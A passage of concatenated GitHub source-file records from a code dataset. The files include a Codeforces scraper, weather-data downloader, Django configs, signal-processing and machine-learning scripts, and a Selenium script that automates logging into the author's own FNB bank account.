Reverse to pop from the back\n  contests.reverse()\n  return contests\n\ndef scrape(step=50):\n  api = APIHandler(apifile = 'apikey')\n  skippedlangs = []\n  if os.path.isfile('progress/skippedlangs'):\n    with open('progress/skippedlangs', 'r') as infile:\n      skippedlangs = [ line.strip() for line in infile.readlines() \\\n                          if line.strip() != '' ]\n  acceptedlangs = []\n  if os.path.isfile('progress/acceptedlangs'):\n    with open('progress/acceptedlangs', 'r') as infile:\n      acceptedlangs = [ line.strip() for line in infile.readlines() \\\n                          if line.strip() != '' ]\n  contests = getcontests(api)\n  if contests is None: return\n  # Iterate over unfinished contests\n  while len(contests) > 0:\n    contest = contests.pop()\n    start = updateProgressFile(contest)\n    stamp(binfc('Getting submissions for contest'),\n          numc(contest),\n          binfc('. . .'))\n    urltool.setcontest(contest)\n    while True:\n      submissions = api.request('contest.status',\n                                'contestId=' + contest,\n                                'from=' + str(start),\n                                'count=' + str(step))\n      if submissions is None: return\n      if Scraped.attempts - Scraped.done > 10 and not retryskipped():\n        return\n      stamp('     ' + msgc(f'~ {start}-{start+step-1} ~ '), end='')\n      # No submissions\n      if not submissions or len(submissions) == 0:\n        print(msgc('no submissions ~'))\n        with open('progress/progress' + contest, 'a') as outfile:\n          outfile.write('\\n#' + str(start))\n        updateProgressFile(contest, start)\n        break\n      start += len(submissions)\n      countlang = 0\n      countverdict = 0\n      attemptlist = []\n      while len(submissions) > 0:\n        sub = submissions.pop()\n        # only accepted submissions\n        if sub['verdict'] != 'OK':\n          countverdict += 1\n          continue\n        # Only C or C++\n        if 'GNU C' not in sub['programmingLanguage'] and \\\n            'C++' not in sub['programmingLanguage'] and \\\n            'Clang' not in sub['programmingLanguage']:\n          countlang += 1\n          if sub['programmingLanguage'] not in skippedlangs:\n            with open('progress/skippedlangs', 'a') as outfile:\n              outfile.write(sub['programmingLanguage'] + '\\n')\n            skippedlangs.append(sub['programmingLanguage'])\n          continue\n        if sub['programmingLanguage'] not in acceptedlangs:\n          with open('progress/acceptedlangs', 'a') as outfile:\n            outfile.write(sub['programmingLanguage'] + '\\n')\n          acceptedlangs.append(sub['programmingLanguage'])\n        Scraped.attempts += 1\n        mem = re.sub(' ', '', str(sub['memoryConsumedBytes'])) + 'B'\n        ms = re.sub(' ', '', str(sub['timeConsumedMillis'])) + 'ms'\n        lang = re.sub(' ', '', str(sub['programmingLanguage']))\n        lang = re.sub('\\+', 'p', lang)\n        lang = re.sub('\\(64\\)', 'x64', lang)\n        lang = re.sub('Diagnostics', 'Diag', lang)\n        lang = re.sub('2017', '17', lang)\n        ext = '.cpp' if 'pp' in lang else '.c'\n        attemptlist.append({'id':str(sub['id']),\n                            'mem':mem,\n                            'time':ms,\n                            'lang':lang,\n                            'ext':ext})\n      plural = 's' if len(attemptlist) != 1 else ''\n      print(msgc(f'getting {len(attemptlist)} submission{plural} ~'))\n      countgood = 0\n      countbad = 0\n      while len(attemptlist) > 0:\n        sub = attemptlist.pop()\n        good = False\n        try:\n          good = savesource(contest, sub)\n        except Exception as e:\n          stamp(errc(f'scrape: {e}'),\n                                errinfo=f'contest{contest}, sub{sub[\"id\"]}')\n        if good is None: return\n        if good: countgood += 1\n        else:\n          countbad += 1\n          with open('progress/progress' + contest, 'a') as outfile:\n            outfile.write('\\nsub#')\n            for key in sub:\n              outfile.write(key + '=' + sub[key] + '#')\n      stamp(msgc(f'{countgood} scraped, {countbad} not scraped, ' + \\\n            f'{countverdict} not passing, {countlang} not C/C++'))\n      updateProgressFile(contest, start)\n    stamp(binfc(f' ~ Finished contest {contest} ~'))\n    if not retryskipped():\n      return\n\nif __name__ == '__main__':\n  if not os.path.isdir('progress'):\n    os.mkdir('progress')\n  if not os.path.exists('progress/lock'):\n    with open('progress/lock', 'w') as outfile: pass\n    if os.listdir('progress') == ['lock'] or retryskipped(True):\n      scrape()\n    try:\n      os.remove('progress/lock')\n    except: pass\n  else:\n    stamp('Scrape script is already running!')\n    print(' ' * (len(elapsed()) + 4) + binfc('Remove the progress/lock file'))\n  print(' ' * (len(elapsed()) + 4) + binfc('Goodbye'))\n\n# vim: tabstop=2 shiftwidth=2 expandtab\n","repo_name":"chaseleif/code_scraper","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":13220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"28904931678","text":"import requests\nimport os\nimport pandas as pd\nfrom tqdm import tqdm\nfrom time import sleep\nimport urllib3\nfrom urllib3.exceptions import InsecureRequestWarning\nimport yaml \n\nurllib3.disable_warnings(InsecureRequestWarning)\n\nproxies=None\n\nwith open(\"./gpvpath.yaml\") as f:\n    CONFIG=yaml.safe_load(f)\n\ndef downloads_gpv(url,output=\"MSM\",debug=False):\n    os.makedirs(f\"{output}/\",exist_ok=True)\n    basename=os.path.basename(url)\n    print(f\"getting {url}\")\n    ##\n\n    try:\n        datasize=int(requests.head(url,proxies=proxies,verify=False ).headers[\"content-length\"])\n        data=requests.get(url, stream=True, proxies=proxies, verify=False)\n        status=data.status_code\n        count=0\n        if status == 403:\n            print(f\"[Error] {status} code error\")\n            #2回tryしてダメなら取得をやめる\n            for i in range(5):\n                print(\"[Info] Preparing for Retry\")\n                sleep(120)\n                data=requests.get(url,stream=True, proxies=proxies, verify=False)\n                status=data.status_code\n                if status >=400 and count<2:\n                    count+=1\n                    continue\n                elif status >=400 and count>=3:\n                    print(f\"[Error] Retry also failed by status code {status}\")\n                    return 1\n                else:\n                    break\n                \n        elif status>=400:\n            print(f\"[Error] {status} code error\")\n            raise Exception\n        pbar=tqdm(total=datasize,unit=\"B\", unit_scale=True)\n        with open(f\"{output}/{basename}\",mode=\"wb\") as f:\n            for chunk in data.iter_content(chunk_size=1024):\n                f.write(chunk)\n                pbar.update(len(chunk))\n        print(f\"save to {output}/{basename}\")\n        pbar.close()\n        sleep(1)\n        return 0\n    except Exception as e:\n        with open(CONFIG[\"LOGDIR\"]+\"/failed_files.txt\",\"ta\") as flog:\n            flog.write(url+\"\\n\")\n        return 1\n\n##MSM\ndef generate_msm_path(date, init_time_utc=\"180000\"):\n    yyyymmddhhmmss=date.strftime(\"%Y%m%d\")+init_time_utc\n    files=[]\n    for h1_h2 in [\"00-15\",\"16-33\",\"34-39\"]:\n        f=f\"Z__C_RJTD_{yyyymmddhhmmss}_MSM_GPV_Rjp_Lsurf_FH{h1_h2}_grib2.bin\"\n        files.append(f)\n    return files\n\n##GSM\ndef generate_gsm_path(date):\n    \"\"\"\n    Parameters:\n    ------------\n    date :pd.Datatime\n        \"初期時刻\"(YYYYMMDD0000 or YYYYMMDD12000)\n    \"\"\"\n    yyyymmddhhmmss=date.strftime(\"%Y%m%d%H%M\")+\"00\"\n    files=[]\n    init_time=date.strftime(\"%H%M\")\n    labels={\"0000\":[\"0000-0312\",\"0315-0512\",\"0515-1100\"],\n            \"1200\":[\"0000-0312\",\"0315-0800\",\"0803-1100\"]}\n    for h1_h2 in labels[init_time]:\n        f=f\"Z__C_RJTD_{yyyymmddhhmmss}_GSM_GPV_Rjp_Lsurf_FD{h1_h2}_grib2.bin\"\n        files.append(f)\n    return files\n\n##ANAL\ndef generate_anal_path(date):\n    yyyymmddhhmmss=date.strftime(\"%Y%m%d%H%M\")+\"00\"\n    file=f\"Z__C_RJTD_{yyyymmddhhmmss}_SRF_GPV_Ggis1km_Prr60lv_ANAL_grib2.bin\"\n    return [file]\n\n##SFCT\ndef generate_sfct_path(date,init_time_utc=\"230000\"):\n#def generate_sfct_path(date):\n    if init_time_utc is not None:\n        yyyymmddhhmmss=date.strftime(\"%Y%m%d\")+init_time_utc\n    else:\n        yyyymmddhhmmss=date.strftime(\"%Y%m%d%H%M%S\")\n    files=[]\n    f01_06H=f\"Z__C_RJTD_{yyyymmddhhmmss}_SRF_GPV_Ggis1km_Prr60lv_FH01-06_grib2.bin\"\n    f07_15H=f\"Z__C_RJTD_{yyyymmddhhmmss}_SRF_GPV_Gll5km_Prr60lv_FH07-15_grib2.bin\"\n    return [f01_06H,f07_15H]\n\n##CPS3\ndef generate_cps3_path(date):\n    yyyyMMddhhmmss=date.strftime(\"%Y%m%d\")+\"000000\"\n    #気温\n    f1=f\"Z__C_RJTD_{yyyyMMddhhmmss}_EPSC_MGPV_Rgl_Gll1p25deg_Lh2_Ptt_Emb_grib2.bin\"\n    #降水量\n    f2=f\"Z__C_RJTD_{yyyyMMddhhmmss}_EPSC_MGPV_Rgl_Gll1p25deg_Lsurf_Prr_Emb_grib2.bin\"\n    #海面気圧\n    f3=f\"Z__C_RJTD_{yyyyMMddhhmmss}_EPSC_MGPV_Rgl_Gll1p25deg_Lsurf_Ppp_Emb_grib2.bin\"\n    #海面水温\n    f4=f\"Z__C_RJTD_{yyyyMMddhhmmss}_EPSC_MGPV_Rgl_Gll1p25deg_Lsurf_Pss_Emb_grib2.bin\"\n    #RH @850hPa\n    f5=f\"Z__C_RJTD_{yyyyMMddhhmmss}_EPSC_MGPV_Rgl_Gll1p25deg_Lp850_Prh_Emb_grib2.bin\"\n    #wind @850hPa\n    f6=f\"Z__C_RJTD_{yyyyMMddhhmmss}_EPSC_MGPV_Rgl_Gll1p25deg_Lp850_Pwu_Emb_grib2.bin\"\n    f7=f\"Z__C_RJTD_{yyyyMMddhhmmss}_EPSC_MGPV_Rgl_Gll1p25deg_Lp850_Pwv_Emb_grib2.bin\"\n    return [f1, f2, f3, f4, f5, f6, f7]\n\n","repo_name":"earth06/meteo_samples","sub_path":"gpvdownloader/gpvutil.py","file_name":"gpvutil.py","file_ext":"py","file_size_in_byte":4286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"5839924799","text":"from datetime import datetime\n\nfrom pytz import timezone\n\nfrom ..base import ObjectEntity\n\n\nclass InvestigativeAction(ObjectEntity):\n    def __init__(\n        self, name=None, description=None, start_time=None, end_time=None, facets=None\n    ):\n        \"\"\"\n        An investigative action is a CASE object that represents the who, when, what outcome of an action\n        :param name: The name of the action (e.g., \"annotated\")\n        :param start_time: The time, in ISO8601 time format, the action was started (e.g., \"2020-09-29T12:13:01Z\")\n        :param end_time: The time, in ISO8601 time format, the action completed (e.g., \"2020-09-29T12:13:43Z\")\n        :param facets: A list of items to be added to this object (e.g., an ActionReference to the performer & tool)\n        \"\"\"\n        super().__init__()\n        self[\"@type\"] = \"case-investigation:InvestigativeAction\"\n        self._str_vars(**{\"uco-core:name\": name, \"uco-core:description\": description})\n        self._datetime_vars(\n            **{\"uco-action:startTime\": start_time, \"uco-action:endTime\": end_time}\n        )\n        self.append_facets(facets)\n\n    def set_end_time(self):\n        \"\"\"Set the time when this action completed.\"\"\"\n        self._addtime(_type=\"end\")\n\n    def set_start_time(self):\n        \"\"\"Set the time when this action initiated.\"\"\"\n        self._addtime(_type=\"start\")\n\n    def _addtime(self, _type):\n        time = datetime.now(timezone(\"UTC\"))\n        self[f\"uco-action:{_type}Time\"] = {\n            \"@type\": \"xsd:dateTime\",\n            \"@value\": time.isoformat(),\n        }\n        return time\n\n\nclass CaseInvestigation(ObjectEntity):\n    def __init__(self, name=None, focus=None, description=None, core_objects=None):\n        \"\"\"\n        An investigative action is a CASE object that represents the who, where, when of investigation\n        :param name: The name of an investigation (e.g., Murder of Suspect B,.)\n        :param focus: The type of investigation (e.g., Murder, Fraud etc,.)\n        :param description: Description of the object  (e.g., Investigation carried out on evidence found in house A)\n        :param core_objects: A list of items to be added to this object (e.g., items or objects that are in this\n               object e.g., Persons involved in investigation, Investigation into a Murder, object refrences a\n               case-object for a phone investigative action\n        \"\"\"\n        super().__init__()\n        self[\"@type\"] = \"case-investigation:Investigation\"\n        self._str_vars(\n            **{\n                \"uco-core:name\": name,\n                \"case-investigation:focus\": focus,\n                \"uco-core:description\": description,\n            }\n        )\n        self.append_core_objects(core_objects)\n\n\nclass ProvenanceRecord(ObjectEntity):\n    def __init__(self, exhibit_number=None, uco_core_objects=None):\n        super().__init__()\n        self[\"@type\"] = \"case-investigation:ProvenanceRecord\"\n        self._int_vars(**{\"case-investigation:exhibitNumber\": exhibit_number})\n        self._node_reference_vars(**{\"uco-core:object\": uco_core_objects})\n\n\ndirectory = {\n    \"case-investigation:InvestigativeAction\": InvestigativeAction,\n    \"case-investigation:Investigation\": CaseInvestigation,\n    \"case-investigation:ProvenanceRecord\": ProvenanceRecord,\n}\n","repo_name":"casework/CASE-Mapping-Python","sub_path":"case_mapping/case/investigation.py","file_name":"investigation.py","file_ext":"py","file_size_in_byte":3294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"7671642575","text":"from typing import Any\n\nfrom django.contrib import admin, messages\nfrom django.core.exceptions import ValidationError\n\nfrom apps.product.models import Asset, Product, SubNumber, Tag, UploadProduct\nfrom apps.product.services import create_product_admin\n\n\n@admin.register(Product)\nclass ProductAdmin(admin.ModelAdmin):\n    list_display = (\n        \"id\",\n        \"asset\",\n        \"sub_number\",\n        \"inventory_number\",\n        \"cost_center\",\n        \"created_by\",\n    )\n\n    def save_model(self, request: Any, obj, form: Any, change: Any) -> None:\n        if change:\n            return super().save_model(request, obj, form, change)\n\n        try:\n            create_product_admin(**form.cleaned_data)\n        except ValidationError as exc:\n            self.message_user(request, str(exc), messages.ERROR)\n\n\n@admin.register(UploadProduct)\nclass UploadProductAdmin(admin.ModelAdmin):\n    list_display = (\n        \"id\",\n        \"asset\",\n        \"sub_number\",\n        \"inventory_number\",\n        \"cost_center\",\n        \"created_by\",\n        \"department\",\n    )\n    # readonly_fields = (\"asset\", \"sub_digit\", \"tag\", \"tag_type\", \"cost_center\",\"created_by\", \"name\")\n\n\n@admin.register(\n    SubNumber,\n)\nclass SubNumberAdmin(admin.ModelAdmin):\n    list_display = (\"id\", \"number\", \"created_at\", \"updated_at\")\n\n\n@admin.register(Asset)\nclass AssetAdmin(admin.ModelAdmin):\n    list_display = (\"id\", \"number\", \"created_at\", \"updated_at\")\n\n\n@admin.register(Tag)\nclass TagAdmin(admin.ModelAdmin):\n    list_display = (\"id\", \"tag\", \"tag_type\", \"created_at\", \"updated_at\")\n","repo_name":"NobinKhan/django-template","sub_path":"apps/product/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"6022898598","text":"import numpy as np\nimport commpy\n\ndef gen_waveform(bits_enc, L, f_offset, EbN0dB):\n    N = len(bits_enc)\n    EbN0lin = 10**(EbN0dB/10)\n    N0 = 1/EbN0lin*L\n\n    bits_pulse_train = np.pad(bits_enc.reshape((N, 1)), (0, L-1)).ravel()\n\n    # Apply Root Raised Cosine Filter\n    alpha = 0.35\n    num_taps_rrcos = 101\n    _, rrcos_taps = commpy.filters.rrcosfilter(num_taps_rrcos, alpha = 0.35, Ts = 1, Fs = L)\n    bits_filt = np.convolve(bits_pulse_train, rrcos_taps)\n\n    # Impairments\n    bits_clk_offset = bits_filt * np.exp(2j*np.pi*np.arange(len(bits_filt))*f_offset)\n    noise = np.sqrt(N0/2)*(np.random.randn(len(bits_clk_offset)) + 1j*np.random.randn(len(bits_clk_offset)))\n    return bits_clk_offset + noise","repo_name":"devincody/Streaming-BPSK-Receiver","sub_path":"waveform_gen.py","file_name":"waveform_gen.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"34157912498","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jun  5 21:08:21 2023\r\n\r\n@author: malick_ndir\r\n\"\"\"\r\n\r\nimport pandas as pd\r\ncredit = pd.read_csv(\"tmdb_5000_credits.csv\")\r\n\r\n# These two are the same\r\nmovie_id = credit.movie_id\r\nmovie_id = credit[\"movie_id\"]\r\n\r\ntitle = credit.title\r\n\r\n# concatinates columns into two separate rows\r\nnewDF = pd.concat([movie_id, title], axis = 1)\r\n\r\n# concatinate movie_id and title columns into one\r\n# Single row\r\nneDF_2 = pd.concat([movie_id, title], axis=0)\r\n","repo_name":"Malick223/SP_Work","sub_path":"ConcatenatingRows.py","file_name":"ConcatenatingRows.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"5720698551","text":"from django.conf.urls import url, include\nfrom . import views\n\nurlpatterns = [\n\n    url(r'show_schools$', views.show_schools, ),\n    url(r'del_teacher$', views.del_teacher, ),\n    url(r'show_teachers$', views.show_teachers, ),\n    url(r'show_questions$', views.show_questions, ),\n    url(r'show_students$', views.show_students, ),\n]","repo_name":"zjls01041212/django-test","sub_path":"ChineseClass/control/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"38748647804","text":"import argparse\nimport sys\n\nimport shimmercat.tools.sc_chrome as sc_chrome\nimport shimmercat.tools.sc_instca as sc_instca\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"A tool to work with ShimmerCat. \"\n    )\n    subparsers = parser.add_subparsers(dest=\"subparser_name\",\n                                       description=\"Use -h with each subcommand below for more details\")\n\n    sc_chrome_parser = subparsers.add_parser('chrome', help=\"Invoke Google Chrome with SOCKS5 proxy\")\n    sc_chrome.fill_arg_parser(sc_chrome_parser)\n\n    if sys.platform == 'darwin':\n        sc_instca_parser = subparsers.add_parser('addca', help=\"Install Mousebox's testing CA in the login keychain (Mac OS X)\")\n        sc_instca.fill_arg_parser( sc_instca_parser )\n\n    args=parser.parse_args()\n\n    if args.subparser_name == \"chrome\":\n        sc_chrome.with_args(args)\n    elif sys.platform == 'darwin':\n        if args.subparser_name == 'addca':\n            sc_instca.with_args(args)\n        else:\n            parser.print_usage()\n    else:\n        parser.print_usage()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"shimmercat/sc-tool","sub_path":"src/shimmercat/tools/sc_tool.py","file_name":"sc_tool.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"1022917588","text":"import numpy as np\nimport cv2\n\ndef bluring():\n    img = cv2.imread('images/test.jpg')\n\n    kernel = np.ones((5,5),np.float32)/25\n    blur = cv2.filter2D(img,-1,kernel)\n\n    cv2.imshow('original',img)\n    cv2.imshow('blur',blur)\n\n    cv2.waitKey(0)\n    cv2.destroyAllWindows()\n    \nbluring()","repo_name":"Hwijune/computer-vision","sub_path":"영상처리 튜토리얼/12-1.이미지필터링-blur.py","file_name":"12-1.이미지필터링-blur.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"18170621182","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport cv2\nfrom IPython import embed\n\ndef easy_vis(img, bboxes, lmks, save_path):\n    bboxes = bboxes.astype('int')\n    for box in bboxes:\n        cv2.rectangle(img, (box[0], box[1]), (box[2], box[3]), (0, 255, 255), 2)\n    for lmk in lmks:\n        lmk = lmk.reshape((5, 2))\n        for i in range(5):\n            cv2.circle(img, (lmk[i, 0], lmk[i, 1]), radius=2, color=(0, 255, 0))\n    cv2.imwrite(save_path, img)\n","repo_name":"Ontheway361/mtcnn-pytorch","sub_path":"detlib/detector/vision.py","file_name":"vision.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"69966734011","text":"import pandas as pd\n\n# Baca TrainSet dan TestSet\nTrain = pd.read_csv('TrainsetTugas1ML.csv')\nTest = pd.read_csv('TestsetTugas1ML.csv')\n\n\n# Kita buat fungsinya\ndef count(lab1, value1, lab2,\n          value2):\n    i = 0\n    for j in range(len(Train)):\n        if (Train[lab1][j] == value1) & (Train[lab2][j] == value2):\n            i = i + 1\n    return i\n\n#Kita hitung peluangnya menggunakan naive bayes\ndef naivebayes(lab1, value1, lab2, value2, income_type):\n    result = count(lab1, value1, lab2, value2) / income_type\n    return result\n\n# Langkah Pertama Kita Tentukan Peluang Incomenya -> >50K dan <=50K\nbig_income = 0  # ngitung banyak income >50K\nsmall_income = 0  # ngitung banyak income <=50K\nfor a in range(len(Train)):\n    if (Train['income'][a] == '>50K'):\n        big_income = big_income + 1\n    else:\n        small_income = small_income + 1\nPelbig_income = big_income / len(Train)\nPelsmall_income = small_income / len(Train)\n\n# Langkah Kedua Kita Tentukan Peluang Dari Masing-Masing Atribut\nincome = []\nfor i in range(len(Test)):\n    PelageBig = naivebayes('age', Test['age'][i], 'income', '>50K', big_income)\n    PelageSmall = naivebayes('age', Test['age'][i], 'income', '<=50K', small_income)\n\n    PelworkclassBig = naivebayes('workclass', Test['workclass'][i], 'income', '>50K', big_income)\n    PelworkclassSmall = naivebayes('workclass', Test['workclass'][i], 'income', '<=50K', small_income)\n\n    PeleducationBig = naivebayes('education', Test['education'][i], 'income', '>50K', big_income)\n    PeleducationSmall = naivebayes('education', Test['education'][i], 'income', '<=50K', small_income)\n\n    PelmaritalstatusBig = naivebayes('marital-status', Test['marital-status'][i], 'income', '>50K', big_income)\n    PelmaritalstatusSmall = naivebayes('marital-status', Test['marital-status'][i], 'income', '<=50K', small_income)\n\n    PeloccupationBig = naivebayes('occupation', Test['occupation'][i], 'income', '>50K', big_income)\n    PeloccupationSmall = naivebayes('occupation', Test['occupation'][i], 'income', '<=50K', small_income)\n\n    PelrelationshipBig = naivebayes('relationship', Test['relationship'][i], 'income', '>50K', big_income)\n    PelrelationshipSmall = naivebayes('relationship', Test['relationship'][i], 'income', '<=50K', small_income)\n\n    PelhoursperweekBig = naivebayes('hours-per-week', Test['hours-per-week'][i], 'income', '>50K', big_income)\n    PelhoursperweekSmall = naivebayes('hours-per-week', Test['hours-per-week'][i], 'income', '<=50K', small_income)\n\n    Pup = PelageBig * PelworkclassBig * PeleducationBig * PelmaritalstatusBig * PeloccupationBig * PelrelationshipBig * PelhoursperweekBig * Pelbig_income\n    Pdown = PelageSmall * PelworkclassSmall * PeleducationSmall * PelmaritalstatusSmall * PeloccupationSmall * PelrelationshipSmall * PelhoursperweekSmall * Pelsmall_income\n    \n# Selanjutnya Hasil yang Sudah Kita Prediksikan Ditampung dalam Datatest_Income\n    if (Pup > Pdown):\n        income.append('>50K')\n    else:\n        income.append('<=50K')\n\n# Terakhir Kita Masukkan Hasil Prediksi Kedalam File Datatest\nfor k in range(len(Test)):\n    age = [];\n    workclass = [];\n    education = [];\n    marital = [];\n    occupation = [];\n    relationship = [];\n    hours = [];\n    age.append(Test['age'][k])\n    workclass.append(Test['workclass'][k])\n    education.append(Test['education'][k])\n    marital.append(Test['marital-status'][k])\n    occupation.append(Test['occupation'][k])\n    relationship.append(Test['relationship'][k])\n    hours.append(Test['hours-per-week'][k])\n\n#Tampil dan Cetak Hasilnya\nprint(income)\noutput = pd.DataFrame(\n    {'age': age, 'workclass': workclass, 'education': education, 'marital-status': marital, 'occupation': occupation,\n     'relationship': relationship, 'hours-per-week': hours, 'income': income}, index=Test['id'])\noutput.to_csv(\"TebakanTugas1ML.csv\") # Mengeluarkan output TebakanTugas1ML.csv\n\n","repo_name":"idhin/Tugas1-Machine-Learning-Naive-Bayes","sub_path":"tubes.py","file_name":"tubes.py","file_ext":"py","file_size_in_byte":3887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"23087526916","text":"#\n# @lc app=leetcode id=33 lang=python3\n#\n# [33] Search in Rotated Sorted Array\n#\n\n# @lc code=start\nclass Solution:\n    # e.g.\n    # 0 1 2 4 5 6 7\n    # 4 5 6 7 0 1 2\n    #  upper half\n    #    /     |\n    #   /      |\n    #  /       |\n    # ----------------\n    #          |      /\n    #          |     /\n    #          |    /  lower half\n\n    # if mid in upper half, mid > left\n    # if mid in lower hal, mid < left\n    def search(self, nums: List[int], target: int) -> int:\n        if not nums:\n            return -1\n\n        left = 0\n        right = len(nums) - 1\n\n        while left < right:\n            mid = left + (right - left) // 2\n            if nums[mid] == target:\n                return mid\n            # mid in upper half\n            if nums[left] <= nums[mid]:\n                if nums[left] <= target and target <= nums[mid]:\n                    right = mid\n                else:\n                    left = mid + 1\n            else:\n                if nums[mid] <= target and target <= nums[right]:\n                    left = mid + 1\n                else:\n                    right = mid\n\n        if nums[left] == target:\n            return left\n        elif nums[right] == target:\n            return right\n        else:\n            return -1\n# @lc code=end\n","repo_name":"haiyizxx/Algo","sub_path":"problem/Array/33.search-in-rotated-sorted-array.py","file_name":"33.search-in-rotated-sorted-array.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"14650532910","text":"import os\nimport zipfile\nfrom contextlib import closing\n\nimport sys\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\n\nLOCAL_PAGES = False\n# LOCAL_PAGES = True\n\n\ndef read_credentials():\n    with open(os.path.join(os.path.expanduser(\"~\"), \".fnb\"), \"r\") as f:\n        lines = f.readlines()\n        assert len(lines) == 2\n        username = lines[0]\n        password = lines[1]\n        return username, password\n\n\ndef debug(page=\"\"):\n    def real_decorator(method):\n        def wrap(s, *args, **kwargs):\n            if LOCAL_PAGES and page:\n                cwd = os.getcwd()\n                s.driver.get(\"file:///\" + cwd + \"/tst/\" + page + \"/Online Banking.html\")\n            try:\n                method(s, *args, **kwargs)\n            finally:\n                s.save_screenshot(method.__name__)\n        return wrap\n    return real_decorator\n\n\nclass FnbWebsite:\n    def __init__(self):\n        # https://intoli.com/blog/running-selenium-with-headless-chrome/\n        self.download_directory = \"/tmp/fnb\"\n        import shutil\n        if os.path.exists(self.download_directory):\n            shutil.rmtree(self.download_directory)\n        os.makedirs(self.download_directory, exist_ok=True)\n        options = webdriver.ChromeOptions()\n\n        prefs = {\"profile.default_content_settings.popups\": 0,\n                 \"download.default_directory\": self.download_directory}\n\n        options.add_experimental_option(\"prefs\", prefs)\n\n        # options.add_argument('headless')\n        # options.add_argument('disable-gpu')\n        # options.add_argument('remote-debugging-port=9222')\n        # options.add_argument('window-size=1920x1080')\n        self.driver = webdriver.Chrome(chrome_options=options)\n\n        # workaround for \"Element is not currently interactable and may not be manipulated\"\n        # self.driver.set_window_size(1920, 1080)\n\n        self.wait = WebDriverWait(self.driver, 10)  # wait 10 seconds\n\n    def save_screenshot(self, name):\n        self.driver.save_screenshot('debug/%s.png' % name)\n\n    def close(self):\n        self.driver.close()\n\n    def downloaded_filename(self):\n        import glob\n        filenames = glob.glob(os.path.join(self.download_directory, \"*.zip\"))\n\n        assert filenames != []\n        if len(filenames) > 1:\n            print(\"Warning: Got many files in download dir (%s)\" % self.download_directory)\n            for filename in filenames:\n                print(\"- %s\" % filename)\n        return os.path.join(self.download_directory, filenames[0])\n\n    @debug()\n    def login(self, username, password):\n        if LOCAL_PAGES:\n            print(\"Skipping real login since LOCAL_PAGES=True\")\n            return\n        driver = self.driver\n\n        print(\"Opening webpage\")\n        driver.get(\"https://www.fnb.co.za/\")\n        print(\"webpage open\")\n\n        input_user = driver.find_element_by_id(\"user\")\n        input_password = driver.find_element_by_id(\"pass\")\n\n        submit_button = driver.find_element_by_id(\"OBSubmit\")\n\n        input_user.send_keys(username)\n\n        # For some reason send_keys will submit the form, so accept the alert and move on\n        driver.switch_to.alert.accept()\n        input_password.send_keys(password)\n\n        print(\"Submitting form\")\n        # submit_button.click()\n\n    @debug(\"logged-in\")\n    def navigate_logged_in(self):\n        print(\"Navigating logged in\")\n        element = self.wait.until(EC.element_to_be_clickable((By.LINK_TEXT, 'View account balances')))\n        print(\"got element\")\n        element.click()\n\n    @debug(\"my-bank-accounts\")\n    def navigate_my_bank_accounts(self):\n        print(\"Navigating my bank accounts\")\n        div_row_more = self.wait.until(EC.element_to_be_clickable((By.ID, 'rowMoreButton2')))\n        print(\"got element\")\n        div_row_more.click()\n\n    @debug(\"my-bank-accounts-click-on-more\")\n    def navigate_my_bank_accounts_more_overlay(self):\n        print(\"Navigating my bank accounts more overlay\")\n        self.wait.until(EC.presence_of_element_located((By.XPATH, \"//div[contains(text(),'Transaction History')]\")))\n        print(\"got element\")\n\n        transaction_history = None\n        for i in range(10):\n            for element in self.driver.find_elements_by_id(\"actionMenuButton%i\" % i):\n                if \"TransactionHistory\" in element.get_attribute(\"onclick\"):\n                    transaction_history = element\n                    break\n        transaction_history.click()\n\n    @debug(\"transaction-history\")\n    def navigate_transaction_history(self):\n        print(\"Navigating transaction history\")\n        element = self.wait.until(EC.element_to_be_clickable((By.CLASS_NAME, 'downloadButton')))\n        print(\"got element\")\n        element.click()\n\n    @debug(\"transaction-history-download\")\n    def navigate_transaction_history_download_overlay(self):\n        print(\"Navigating transaction history download overlay\")\n        element = self.wait.until(EC.element_to_be_clickable((By.ID, 'downloadFormat_dropId')))\n        print(\"got element\")\n        # Open formats\n        element.click()\n\n        # select CSV\n        formats = self.driver.find_elements_by_class_name(\"dropdown-item\")\n        csv = next(element for element in formats if element.get_attribute(\"data-value\") == \"csv\")\n        csv.click()\n\n        download_button = self.driver.find_element_by_id(\"mainDownloadBtn\")\n        download_button.click()\n\n    @debug()\n    def logout(self):\n        print(\"Logging out\")\n        element = self.wait.until(EC.element_to_be_clickable((By.CLASS_NAME, 'headerButtonlogoutBtn')))\n        element.click()\n\n        if LOCAL_PAGES:\n            return\n\n        